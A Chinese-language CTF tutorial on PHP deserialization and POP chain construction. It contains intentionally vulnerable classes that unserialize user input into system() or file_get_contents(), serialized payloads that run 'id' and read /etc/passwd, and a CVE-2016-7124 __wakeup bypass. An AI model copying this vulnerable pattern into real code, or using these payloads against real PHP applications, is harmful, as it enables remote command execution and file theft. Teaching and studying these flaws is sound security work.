PHP反序列化与POP链完全指南

从零开始掌握PHP反序列化漏洞与POP链构造


一、序列化和反序列化到底是什么?

概念解释

简单说:

  • 序列化:把内存中的对象、数组、变量等”打包”成一个字符串或字节流,方便存储或传输。
  • 反序列化:把这个字符串或字节流再还原成原来的对象、数组、变量。

通俗比喻

你有一个乐高城堡,如果想把它的结构告诉远方的朋友,不能直接把城堡寄过去,你可以把它拆成零件,并写一份”拼装说明书”。朋友拿到说明书后,按照说明书重新拼出一个城堡。

这个”拆成零件并写说明书”的过程就是序列化,朋友”按照说明书重新拼装”的过程就是反序列化

代码示例

在 PHP 中,主要使用这两个函数:

1
2
serialize($obj);   // 序列化
unserialize($str); // 反序列化

效果演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 创建一个对象
$obj = new stdClass();
$obj->name = "test";
$obj->age = 20;

// 序列化
$str = serialize($obj);
echo $str;
// 输出: O:8:"stdClass":2:{s:4:"name";s:4:"test";s:3:"age";i:20;}

// 反序列化
$restored = unserialize($str);
print_r($restored);
// 输出: stdClass Object ( [name] => test [age] => 20 )

CTF Web 题中,PHP 反序列化出现频率最高,所以本文主要围绕 PHP 来讲。


二、PHP 序列化格式拆解

先看几个常见类型的序列化结果。

1. 字符串

代码示例

1
serialize("test");

效果演示

1
s:4:"test";
  • s 表示 string
  • 4 表示字符串长度为 4
  • "test" 是实际内容

2. 整数

代码示例

1
serialize(123);

效果演示

1
i:123;

3. 布尔值

代码示例

1
2
serialize(true);
serialize(false);

效果演示

1
2
b:1;
b:0;

4. 数组

代码示例

1
serialize(["a", "b"]);

效果演示

1
a:2:{i:0;s:1:"a";i:1;s:1:"b";}

5. 对象(重点)

代码示例

1
2
3
4
5
6
7
class User {
public $name = "tom";
private $age = 18;
protected $sex = "male";
}

echo serialize(new User());

效果演示

1
2
3
4
5
O:4:"User":3:{
s:4:"name";s:3:"tom";
s:9:"\0User\0age";i:18;
s:6:"\0*\0sex";s:4:"male";
}

格式拆解

符号 含义
O object(对象)
4 类名 User 的长度
3 对象有 3 个属性

重点:不同属性类型的序列化格式

属性类型 序列化格式 示例
public 属性名原样 name
private \0ClassName\0property \0User\0age
protected \0*\0property \0*\0sex

关键注意\0 是空字符(ASCII 0),实际是不可见的。在计算长度时:

  • \0User\0age 的长度是 9,不是 7
  • \0*\0sex 的长度是 6,不是 5

长度算错会导致反序列化失败,这是 CTF 中手工构造 payload 时最常见的错误!


三、反序列化漏洞是怎么产生的?

很多新手会问:

反序列化本身有什么问题?不就是还原一个对象吗?

问题在于:反序列化时,PHP 会自动调用一些”魔术方法”。

如果这些魔术方法里存在危险操作,而攻击者又能控制传给 unserialize() 的数据,就可能触发漏洞。

基础漏洞示例

代码示例

1
2
3
4
5
6
7
8
9
class Danger {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}

$data = $_GET['data'];
unserialize($data);

攻击者构造 Payload

1
O:6:"Danger":1:{s:3:"cmd";s:2:"id";}

效果演示

1
2
3
反序列化后,脚本结束时对象销毁,自动调用 __destruct()
执行 system("id")
输出当前用户信息

但真实 CTF 题目往往不会这么直接,通常会引入各种限制和复杂的类结构,需要你构造一条 POP 链


四、PHP 魔术方法速查

在 CTF 中,这些魔术方法经常被用到:

代码示例(魔术方法对照表)

魔术方法 触发时机
__construct() 对象被创建时
__destruct() 对象被销毁时(脚本结束、引用计数为 0 等)
__wakeup() unserialize() 时被自动调用
__sleep() serialize() 时被自动调用
__toString() 对象被当作字符串使用时,例如 echo $obj
__call($name, $args) 调用对象中不存在或不可访问的方法时
__get($name) 访问对象中不存在或不可访问的属性时
__set($name, $value) 给对象中不存在或不可访问的属性赋值时
__invoke() 对象被当作函数调用时
__isset() 对不可访问属性调用 isset()empty()
__unset() 对不可访问属性调用 unset()
__clone() 克隆对象时

CTF 出场率最高的几个

效果演示

1
2
3
4
5
6
7
8
出场率排行:
1. __destruct # 几乎必考
2. __wakeup # 常考,且有绕过技巧
3. __toString # 高频考点
4. __call # 常见跳板
5. __get # 常见跳板
6. __set # 有时出现
7. __invoke # 命令执行常用

这些魔术方法就像一个个”自动触发点”,是 POP 链的重要环节。


五、POP 链:CTF 反序列化核心

5.1 什么是 POP 链?

POP 是 Property-Oriented Programming 的缩写,意思是”属性导向编程”。

这个名字借鉴了二进制漏洞利用中的 ROP(Return-Oriented Programming,返回导向编程)。ROP 的思路是:程序里没有直接可利用的函数,但有很多零散的代码片段(gadget),通过控制返回地址把它们串联起来,最终达到攻击目的。

POP 链也是类似的思路:

代码中可能没有直接的危险函数调用,但是存在很多类,每个类中都有一个看似正常的方法。通过控制对象的属性,把这些类的方法串联起来,最终触发危险操作。

效果演示

概念 串联对象
ROP 代码片段
POP 类和方法

5.2 POP 链构造思路

代码示例(构造步骤)

1
2
3
4
5
6
7
8
9
1. 找 sink

2. 回溯调用链

3. 找触发点

4. 串联

5. 生成 payload

详细步骤

步骤 说明
1. 找 sink 寻找危险函数,如 system()eval()file_get_contents()
2. 回溯调用链 找到哪些类的方法调用了这些危险函数,且参数可控
3. 找触发点 找到哪些魔术方法会自动调用这些方法
4. 串联 从入口开始,一级一级往下串,直到 sink
5. 生成 payload 实例化类,设置属性,serialize() 得到最终 payload

链路示意图

1
2
3
4
5
6
7
入口魔术方法(自动触发)

中间方法(跳板)

危险方法(sink)

系统命令 / 文件读取 / 代码执行

5.3 构造实例 1:入门级 POP 链读文件

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class FileReader {
public $filename;
public function __toString() {
if (file_exists($this->filename)) {
return file_get_contents($this->filename);
}
return "";
}
}

class Logger {
public $log;
public function __destruct() {
echo "Log: " . $this->log;
}
}

$data = $_GET['data'];
unserialize($data);
?>

分析过程

步骤 说明
找 sink file_get_contents($this->filename),参数 $this->filename 可控
找到方法 位于 FileReader::__toString()
如何触发 需要把 FileReader 对象当作字符串使用
触发位置 Logger::__destruct() 中的 echo "Log: " . $this->log

完整链路

1
2
3
4
5
6
7
Logger::__destruct()
↓ echo 连接对象
FileReader::__toString()

file_get_contents($this->filename)

读取任意文件

代码示例(Payload 生成)

1
2
3
4
5
6
7
$fr = new FileReader();
$fr->filename = "/etc/passwd";

$logger = new Logger();
$logger->log = $fr;

echo serialize($logger);

效果演示

1
2
3
4
5
6
7
8
9
输出序列化字符串:
O:6:"Logger":1:{s:3:"log";O:10:"FileReader":1:{s:8:"filename";s:11:"/etc/passwd";}}

传入 data 参数后:
→ 反序列化
→ 脚本结束触发 __destruct()
→ __destruct 中 echo 触发 __toString()
→ 读取 /etc/passwd
→ 输出文件内容

5.4 构造实例 2:命令执行 + 绕过 __wakeup

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Cmd {
public $cmd;
public function __wakeup() {
if (isset($this->cmd)) {
$this->cmd = "whoami";
}
}
public function __destruct() {
system($this->cmd);
}
}

$data = $_GET['data'];
unserialize($data);
?>

问题分析

这里有一个 __wakeup(),会在反序列化时自动执行,并把 $cmd 强制改成 "whoami"

如果直接构造:

1
O:3:"Cmd":1:{s:3:"cmd";s:2:"id";}

反序列化时 __wakeup() 会把 cmd 改成 whoami,最终执行 system("whoami"),而不是 id

漏洞利用:CVE-2016-7124

影响版本: PHP 5 < 5.6.25 和 PHP 7 < 7.0.10

漏洞原理: 当序列化字符串中对象属性个数的值大于真实属性个数时,__wakeup() 会被跳过。

代码示例(绕过 Payload)

1
2
// 声明有 2 个属性,但实际只有 1 个
O:3:"Cmd":2:{s:3:"cmd";s:2:"id";}

效果演示

1
2
3
4
5
6
传入 O:3:"Cmd":2:{s:3:"cmd";s:2:"id";}
→ 反序列化
→ __wakeup() 被跳过(属性个数不匹配)
→ 脚本结束触发 __destruct()
→ 执行 system("id")
→ 输出当前用户和权限信息

注意:这个漏洞只在特定 PHP 版本中存在,但在 CTF 环境中经常被故意配置成有漏洞的版本,仍然需要掌握。


5.5 构造实例 3:多跳 POP 链(核心重点)

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class D {
public $cmd;
public function __invoke() {
system($this->cmd);
}
}

class C {
public $obj;
public function __call($name, $args) {
call_user_func_array($this->obj, $args);
}
}

class B {
public $c;
public function __toString() {
$this->c->notexist();
return "B";
}
}

class A {
public $b;
public function __destruct() {
echo $this->b;
}
}

$data = $_GET['data'];
unserialize($data);
?>

详细分析

第一步:找 sink

1
system($this->cmd);  // 位于 D::__invoke()

目标:把 D 对象当作函数调用

第二步:谁可以触发 __invoke

1
2
// C::__call() 中
call_user_func_array($this->obj, $args);

如果 C->obj 是 D 对象,调用 call_user_func_array() 时会触发 D::__invoke()

条件: 进入 C::__call()

第三步:谁可以触发 __call

1
2
// B::__toString() 中
$this->c->notexist(); // 调用不存在的方法

如果 B->c 是 C 对象,调用 notexist() 会触发 C::__call()

条件: 进入 B::__toString()

第四步:谁可以触发 __toString

1
2
// A::__destruct() 中
echo $this->b; // 对象被当作字符串

如果 A->b 是 B 对象,echo 会触发 B::__toString()

条件: 进入 A::__destruct()(反序列化后自动触发)

完整链路

1
2
3
4
5
6
7
8
9
10
11
A::__destruct()          ← 入口(自动触发)
↓ echo 对象
B::__toString() ← 第1跳
↓ 调用不存在的方法
C::__call() ← 第2跳
↓ call_user_func_array
D::__invoke() ← 第3跳

system($this->cmd) ← sink

执行任意命令

代码示例(Payload 生成)

1
2
3
4
5
6
7
8
9
10
11
12
13
$d = new D();
$d->cmd = "id";

$c = new C();
$c->obj = $d;

$b = new B();
$b->c = $c;

$a = new A();
$a->b = $b;

echo serialize($a);

效果演示

1
2
3
4
5
6
7
8
9
10
11
序列化输出:
O:1:"A":1:{s:1:"b";O:1:"B":1:{s:1:"c";O:1:"C":1:{s:3:"obj";O:1:"D":1:{s:3:"cmd";s:2:"id";}}}}

传入 data 后:
→ 反序列化
→ 脚本结束触发 A::__destruct()
→ echo A->b 触发 B::__toString()
→ B->c->notexist() 触发 C::__call()
→ call_user_func_array($obj, $args) 触发 D::__invoke()
→ system("id")
→ 执行成功

六、POP 链构造要点总结

通过上面三个实例,可以总结出 POP 链构造的核心思路:

1. 常见 Sink(危险函数)

代码示例

类型 函数
命令执行 system()exec()shell_exec()passthru()popen()
代码执行 eval()assert()preg_replace()/e 修饰符
文件读取 file_get_contents()readfile()fopen()
文件写入 file_put_contents()fwrite()
文件删除 unlink()
变量覆盖 extract()parse_str()

2. 常见触发点(入口)

效果演示

1
2
3
4
5
6
7
8
触发点优先级:
1. __destruct() # 最常用,脚本结束自动触发
2. __wakeup() # 反序列化时自动触发
3. __toString() # 对象被当作字符串时
4. __call() # 调用不存在的方法时
5. __get() # 访问不存在的属性时
6. __set() # 设置不存在的属性时
7. __invoke() # 对象被当作函数调用时

3. 常见链路模式

代码示例

1
2
3
4
__destruct → __toString → __call → __invoke → system
__destruct → __toString → __get → file_get_contents
__wakeup → __toString → __call → eval
__destruct → __get → __call → system

4. 关键细节注意事项

要点 说明
private 属性 序列化字符串包含 \0ClassName\0,长度要算对
protected 属性 序列化字符串包含 \0*\0,长度要算对
__wakeup 绕过 属性个数大于实际个数(限 PHP 特定版本)
关键字过滤 考虑大小写绕过、编码绕过、字符串逃逸
Phar 反序列化 没有直接 unserialize() 时,可通过 phar:// 触发

九、速查对照表

PHP 序列化格式速查

代码示例

类型 格式 示例
字符串 s:长度:"内容" s:4:"test"
整数 i:数值 i:123
布尔 b:0/1 b:1
数组 a:个数:{键值对} a:2:{i:0;s:1:"a";...}
对象 O:类名长度:"类名":属性个数:{属性键值对} O:4:"User":1:{...}

魔术方法触发条件速查

方法 触发条件
__construct new 创建对象
__destruct 对象销毁
__wakeup unserialize()
__sleep serialize()
__toString 对象用作字符串
__call 调用不可访问方法
__get 读取不可访问属性
__set 设置不可访问属性
__invoke 对象用作函数

POP 链常用跳板

效果演示

1
2
3
4
5
跳板组合:
__destruct → __toString → __call → __invoke
__destruct → __get → __call → system
__wakeup → __toString → __get → eval
__destruct → __set → __call → file_put_contents

十、总结

序列化和反序列化本身不是漏洞,漏洞来自:

  1. 反序列化数据用户可控
  2. 代码中存在危险的魔术方法或 POP 链

CTF 中的 PHP 反序列化题,核心就是 POP 链构造

掌握 POP 链的关键

  1. 看懂 PHP 序列化格式
  2. 熟悉常见魔术方法及触发条件
  3. 会从 sink 反向回溯调用链
  4. 能手工或脚本生成 payload

扩展阅读